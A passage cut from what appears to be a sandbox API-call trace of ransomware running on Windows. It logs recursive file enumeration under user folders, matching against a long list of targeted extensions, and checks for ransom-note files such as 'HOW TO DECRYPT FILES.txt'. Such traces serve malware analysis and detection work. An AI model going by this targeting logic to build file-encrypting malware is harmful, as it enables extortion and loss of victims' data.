HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.lgb") returned 0 [0092.075] lstrlenA (lpString="*.lgb") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mov") returned 0 [0092.075] lstrlenA (lpString="*.mov") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.xdw") returned 0 [0092.075] lstrlenA (lpString="*.xdw") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.ods") returned 0 [0092.075] lstrlenA (lpString="*.ods") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.wav") returned 0 [0092.075] lstrlenA (lpString="*.wav") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.mp3") returned 0 [0092.075] lstrlenA (lpString="*.mp3") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.aiff") returned 0 [0092.075] lstrlenA (lpString="*.aiff") returned 6 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.flac") returned 0 [0092.075] lstrlenA (lpString="*.flac") returned 6 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.m4a") returned 0 [0092.075] lstrlenA (lpString="*.m4a") returned 5 [0092.075] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xdo2AKI5-.flv", pszSpec="*.csv") returned 0 [0092.075] lstrlenA (lpString="*.csv") returned 5 [0092.076] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5f71c0, ftCreationTime.dwHighDateTime=0x1d5df0c, ftLastAccessTime.dwLowDateTime=0x9c8aaf00, ftLastAccessTime.dwHighDateTime=0x1d5e634, ftLastWriteTime.dwLowDateTime=0x9c8aaf00, ftLastWriteTime.dwHighDateTime=0x1d5e634, nFileSizeHigh=0x0, nFileSizeLow=0x4fc1, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="xdo2AKI5-.flv", cAlternateFileName="XDO2AK~1.FLV")) returned 0 [0092.076] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0092.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb72f400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb72f400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="Videos", cAlternateFileName="")) returned 0 [0092.076] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0092.076] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x3, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0092.076] lstrcmpA (lpString1=".", lpString2="All Users") returned -1 [0092.076] lstrcmpA (lpString1="..", lpString2="All Users") returned -1 [0092.076] PathFindFileNameA (pszPath="C:\\Users\\*.*") returned="*.*" [0092.076] lstrcatA (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0092.076] lstrlenA (lpString="C:\\Users\\All Users") returned 18 [0092.077] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0092.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.077] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.077] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0092.077] lstrcmpA (lpString1=".", lpString2="Adobe") returned -1 [0092.078] lstrcmpA (lpString1="..", lpString2="Adobe") returned -1 [0092.078] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.078] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Adobe" | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0092.078] lstrlenA (lpString="C:\\Users\\All Users\\Adobe") returned 24 [0092.078] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.078] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.078] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.078] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.078] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0092.078] lstrcmpA (lpString1=".", lpString2="Acrobat") returned -1 [0092.078] lstrcmpA (lpString1="..", lpString2="Acrobat") returned -1 [0092.079] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\*.*") returned="*.*" [0092.079] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0092.079] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\Acrobat") returned 32 [0092.079] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.079] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.079] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.079] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.079] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.079] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0092.079] lstrcmpA (lpString1=".", lpString2="10.0") returned -1 [0092.079] lstrcmpA (lpString1="..", lpString2="10.0") returned -1 [0092.079] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\*.*") returned="*.*" [0092.079] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0092.080] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned 37 [0092.080] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.080] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.080] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.080] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1 [0092.080] lstrcmpA (lpString1=".", lpString2="Replicate") returned -1 [0092.080] lstrcmpA (lpString1="..", lpString2="Replicate") returned -1 [0092.080] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*.*") returned="*.*" [0092.080] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\", lpString2="Replicate" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" [0092.080] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned 47 [0092.080] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.081] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.081] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.081] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.081] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.081] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0092.081] lstrcmpA (lpString1=".", lpString2="Security") returned -1 [0092.081] lstrcmpA (lpString1="..", lpString2="Security") returned -1 [0092.081] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*.*") returned="*.*" [0092.081] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\", lpString2="Security" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0092.081] lstrlenA (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 56 [0092.081] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.082] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.082] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.082] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.082] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.082] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1 [0092.082] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="directories.acrodata") returned 1 [0092.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="directories.acrodata") returned 1 [0092.082] lstrcmpiA (lpString1="", lpString2="directories.acrodata") returned -1 [0092.082] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*.*") returned="*.*" [0092.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0092.082] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" | out: pszPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="" [0092.082] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO DECRYPT FILES.txt" [0092.082] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\how to decrypt files.txt")) returned 0x2020 [0092.083] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpString2="directories.acrodata" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.ems") returned 0 [0092.083] lstrlenA (lpString="*.ems") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.db") returned 0 [0092.083] lstrlenA (lpString="*.db") returned 4 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.dbf") returned 0 [0092.083] lstrlenA (lpString="*.dbf") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.myox") returned 0 [0092.083] lstrlenA (lpString="*.myox") returned 6 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.myo") returned 0 [0092.083] lstrlenA (lpString="*.myo") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbw") returned 0 [0092.083] lstrlenA (lpString="*.qbw") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbb") returned 0 [0092.083] lstrlenA (lpString="*.qbb") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbm") returned 0 [0092.083] lstrlenA (lpString="*.qbm") returned 5 [0092.083] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbo") returned 0 [0092.084] lstrlenA (lpString="*.qbo") returned 5 [0092.084] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbx") returned 0 [0092.084] lstrlenA (lpString="*.qbx") returned 5 [0092.084] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qba") returned 0 [0092.084] lstrlenA (lpString="*.qba") returned 5 [0092.084] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qby") returned 0 [0092.084] lstrlenA (lpString="*.qby") returned 5 [0092.084] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qbj") returned 0 [0092.084] lstrlenA (lpString="*.qbj") returned 5 [0092.084] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.ofx") returned 0 [0092.084] lstrlenA (lpString="*.ofx") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.qif") returned 0 [0092.085] lstrlenA (lpString="*.qif") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mye") returned 0 [0092.085] lstrlenA (lpString="*.mye") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mbox") returned 0 [0092.085] lstrlenA (lpString="*.mbox") returned 6 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.eml") returned 0 [0092.085] lstrlenA (lpString="*.eml") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.pst") returned 0 [0092.085] lstrlenA (lpString="*.pst") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.ost") returned 0 [0092.085] lstrlenA (lpString="*.ost") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.idx") returned 0 [0092.085] lstrlenA (lpString="*.idx") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.dbx") returned 0 [0092.085] lstrlenA (lpString="*.dbx") returned 5 [0092.085] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.sql") returned 0 [0092.085] lstrlenA (lpString="*.sql") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.mdb") returned 0 [0092.086] lstrlenA (lpString="*.mdb") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.fdb") returned 0 [0092.086] lstrlenA (lpString="*.fdb") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.wab") returned 0 [0092.086] lstrlenA (lpString="*.wab") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.dat") returned 0 [0092.086] lstrlenA (lpString="*.dat") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.txt") returned 0 [0092.086] lstrlenA (lpString="*.txt") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.jpeg") returned 0 [0092.086] lstrlenA (lpString="*.jpeg") returned 6 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.jpg") returned 0 [0092.086] lstrlenA (lpString="*.jpg") returned 5 [0092.086] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", pszSpec="*.png") returned 0 [0092.086] lstrlenA 